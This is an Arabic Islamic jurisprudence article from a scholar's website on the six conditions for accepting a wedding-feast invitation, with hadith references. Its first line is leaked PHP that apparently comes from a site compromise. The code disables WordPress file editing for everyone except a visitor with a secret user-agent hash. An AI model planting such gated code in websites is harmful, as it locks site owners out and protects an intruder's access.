if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } شروط إجابة الدعوة إلى وليمة العرس - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

شروط إجابة الدعوة إلى وليمة العرس

أول هذه الشروط: أن يكون الداعي مسلمًا، فإن كان الداعي غير مسلم فلا تجب إجابته، وهل تُباح أو تُسن إجابته؟ يختلف ذلك باختلاف المصلحة، فإن كان ثمة مصلحة تُرجى من إجابة دعوة غير المسلم كتأليف قلبه ودعوته للإسلام أو كف شره أجيب وإلا فلا.

الشرط الثاني: أن يكون الداعي ممن يحرُم هجره، فإن كان الداعي ممن يجب هجره وهو من كانت معصيته ببدعة، وكذلك من كانت معصيته دون البدعة كالفساق والعصاة فيُسن هجرهم إذا كان الهجر نافعًا ومثمرًا، وأما من كان هجره لسوء فهمٍ وتفاهمٍ بينه وبين أخيه المسلم فإنه لا يحل هذا الهجر إلا ثلاثة أيام فقط، إذن إذا كان الداعي ممن يجب هجرته فلا تجب إجابة دعوته.

الشرط الثالث: أن تكون الدعوة معينة للمدعو نفسه، فإذا عينه وجبت إجابة دعوته، وأما الدعوة العامة، ودعوة الجفلى فلا تجب إجابته، اليوم كثيرٌ من الناس يتوسع في الدعوة في العرس ويدعو بالمئات ويطبع من البطاقات وما يسمى بكروت الدعوات ربما المئات يزيلها بقول “الدعوة عامة” ما يعلم أن هذا التذييل يجعل هذه الدعوة غير واجبة في الأعم الأغلب إلا أن تكون هذه الدعوة من قريبٍ أو صديقٍ أو زميلٍ أو جارٍ أو نحوه، وأكدها ولم يرسلها مجرد إرسال بل اتصل أو سأل وتحرى ونبه وأكد، فهذا يدل على أنه يريدك دعوة خاصة، وأما أن يرسل هذه البطاقات وهذه الدعوات لكثير من البيوتات وربما لا يقابل أصحاب البيوت وإنما يضعها من تحت الباب ونحو ذلك، فإنا نقول: هذه دعوة الجفلى، هذه الدعوة العامة لا تجب إجابتها، فمن أراد أن تُجاب دعوته فليخص المدعو، ربما يخص لقرابة، لزمالة، لصداقة، لجوار، يخصه بمكالمة، برسالة، مع هذه البطاقة حتى يعلم المدعو أنه أراده دون غيره وأنه يفرح بمجيئه وأنه يسأل عنه لو لم يحضر، أما دعوة الناس دعوة عامة فإن هذه لا تجب وهذا تخفيف من أصحاب هذه الدعوات.

الشرط الرابع: أن تكون هذه الدعوة أول مرة؛ فإن الدعوة لوليمة العرس أول مرة واجبة الإجابة، وقد رُوي في الحديث: «الوَليمَةُ أولَ يومٍ حقٌّ والثانيَ معروفٌ والثالثَ سنة»[1]، وجاء في بعض الألفاظ: «الوَليمَةُ أولَ يومٍ حقٌّ والثانيَ سنة والثالثَ رِياءٌ وسُمعَةٌ»[2]، ذلك أن الناس كانوا يتوسعون وربما أقاموا الوليمة في ليلة العرس، وهي ما تسمى بليلة الدُخلة وأقاموا وليمة في الليلة القابلة وربما في الثالثة، فنقول: التي تجب إجابتها هي الوليمة الأولى، هي الدعوة الأولى وأما الثانية وما بعدها فلا تجب إجابتها، هل تُشرع؟ جاء في هذا الحديث أن الثالث سنة وفي الرواية الثانية أنها رياء وسمعة، ونقول: هذا يرجع إلى مقصد صاحبه، فإن كان يريد الرياء والسمعة والمفاخرة وأن يسمع القاصي والداني بعرسه وعرس ولده وأنه ما ترك أحدًا إلا دعاه، وربما كتب في الصحف وقام بهذه الدعوة وهو لا يريد إلا شهرةً وسمعةً ورياءً فإنه ينطبق عليه هذا الحديث، على أن الحديث بروايتيه فيه ضعف، لكنا نقول: قد يكون الباعث هو الرياء والسمعة، وهذا محله القلب، وقد يكون الباعث لهذا أن محله ومكانه لا يسع أصحابه وأضيافه فيقسمهم قسمين أو أن أصحابه كُثر ومتفرقين ولا يمكن أن يجتمعوا في يوم واحد، فنقول: لا حرج في هذا المقصد، وقد بوّب البخاري رحمه الله في صحيحه: باب الدعوة لوليمة العرس سبعة أيام، فدل على أن ذلك جائزٌ إذا كانت ثمة حاجة تدعو إليه أنه لم يبعث لذلك رياءٌ وسمعة.

الشرط الخامس: ألا يكون في الدعوة منكر، وقد أشار إليه رحمه الله، فإن كان في الدعوة منكرٌ كغناءٍ وطرب، استعمال آلات اللهو أو شرب خمرٍ -نسأل الله السلامة والعافية- أو تصويرٌ ونحو ذلك في أوساط النساء، فإنه حينئذٍ نقول: هل تقدر على تغيير هذا المنكر؟ قال: نعم، أقدر بإذن الله تعالى على تغييره، نقول: فيجب عليه أن يجيب الدعوة لسببين: السبب الأول: إجابة الدعوة، الثاني: تغيير المنكر، وقد يتغير المنكر بمجرد الحضور، كالعالم ومن له وجاهة في المجتمع، ربما إذا حضر أخفوا الكثير من المنكرات وأزالوها، فنقول: يتأكد في حقه أن يحضر ليجيب الدعوة ويزيل المنكر، وأما إذا كان لا يستطيع إزالة المنكر فإنه لا يجب عليه إجابة الدعوة بل لا يجوز له إجابة الدعوة إذا كان ثمة منكرٌ لا يستطيع أن يزيله ولا أن يخففه، وقد قال الله جل شأنه: {وَقَدْ نَزَّلَ عَلَيْكُمْ فِي الْكِتَابِ أَنْ إِذَا سَمِعْتُمْ آيَاتِ اللهِ يُكْفَرُ بِهَا وَيُسْتَهْزَأُ بِهَا فَلَا تَقْعُدُوا مَعَهُمْ حَتَّى يَخُوضُوا فِي حَدِيثٍ غَيْرِهِ} [النساء: ١٤٠]، وقال جل شأنه: {وَإِذَا رَأَيْتَ الَّذِينَ يَخُوضُونَ فِي آيَاتِنَا فَأَعْرِضْ عَنْهُمْ حَتَّى يَخُوضُوا فِي حَدِيثٍ غَيْرِهِ} [الأنعام: ٦٨]، ثمة منكرات لا يطلع عليها بعض المدعوين، كأن تكون هذه المنكرات خاصة في صالة النساء، فهل يشمله هذا الحكم؟ نقول: هذا يُسقط عنه الوجوب لكن لا حرج عليه إذا حضـر، إذا كان في مكان الرجال وفي صالة الرجال لا يوجد منكر من هذه المنكرات ويوجد عند النساء منكرات لكنها خفية لا يسمعها الرجال ولا يطلع عليها، نقول: لو أجاب لا حرج وإن امتنع فلا حرج حينئذٍ، فهو مخيرٌ بين الحضور وعدمه.

الشرط السادس والأخير: أن يكون المدعو قادر على إجابة الدعوة من غير ضرر، فإن كان عليه ضرر في الحضور لم يجب عليه إجابة الدعوة، كأن يكون مريضًا، أو كانت الإجابة تتطلب سفرًا وتحتاج إليه، أو كان مشغولًا كطالب علمٍ عنده اختبار أو موظفٌ يحتاج النوم المبكر ليقوم بعمله، أو نحو ذلك من الأعذار التي تُسقط عنه فرضية الوجوب.

إذا اكتملت هذه الشروط، وجب على المسلم أن يجيب استجابةً لأمر النبي صلى الله عليه وسلم وإدخالًا للسرور على قلب أخيه، فإن المسلم أشد ما يكون فرحًا في هذه الليلة، ليلة العرس، وأشد ما يكون فرحًا إذا رأى أصحابه، أقاربه، زملاءه، أصدقاءه، جيرانه يحضـرون معه ويفرحون لفرحه، فإدخال السرور على المسلم مقصودٌ شرعًا، وإجابة الدعوة تحقق ذلك غالبًا.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه أبو داود (3745)، وأحمد (20340)، والنسائي في السنن الكبرى (6596) بلفظ: «الوَليمَةُ أولَ يومٍ حقٌّ والثانيَ معروفٌ والثالثَ رِياءٌ وسُمعَةٌ»، وضعفه الألباني في إرواء الغليل (1950).

[2] أخرجه الترمذي (1097) بلفظ: «طعامُ الوليمةِ أوَّلُ يومٍ حقٌّ، وطعامُ الثَّاني سُنةٌ، وطعامُ يومِ الثَّالثِ سُمعةٌ، ومن سمَّع سمَّعَ اللهُ به»، وقد ضعّف سنده ابن باز في حاشية بلوغ المرام، وأيضًا قال عنه ابن عثيمين في شرح بلوغ المرام (4/609): من حيث السند فيه نظر.